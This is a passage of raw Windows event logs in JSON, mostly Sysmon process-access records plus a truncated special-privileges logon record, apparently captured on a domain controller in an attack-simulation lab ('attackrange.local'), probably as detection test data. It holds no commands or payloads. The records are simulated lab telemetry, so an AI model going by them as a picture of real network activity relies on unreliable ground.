12:05:09.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8533,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8534,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8535,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8536,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8537,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8538,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:10.013\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4376-5F2D-0000-0010B5ED1100}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:10.013","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4376-5F2D-0000-0010B5ED1100}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8539,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:10.854\r\nSourceProcessGUID: {90617006-4376-5F2D-0000-0010B5ED1100}\r\nSourceProcessId: 3360\r\nSourceThreadId: 872\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4375-5F2D-0000-001040ED1100}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:10.854","SourceProcessGUID":"{90617006-4376-5F2D-0000-0010B5ED1100}","SourceProcessId":"3360","SourceThreadId":"872","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4375-5F2D-0000-001040ED1100}","TargetProcessId":"876","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8540,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.573\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4375-5F2D-0000-001040ED1100}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.573","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4375-5F2D-0000-001040ED1100}","TargetProcessId":"876","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222319,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11F190\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special 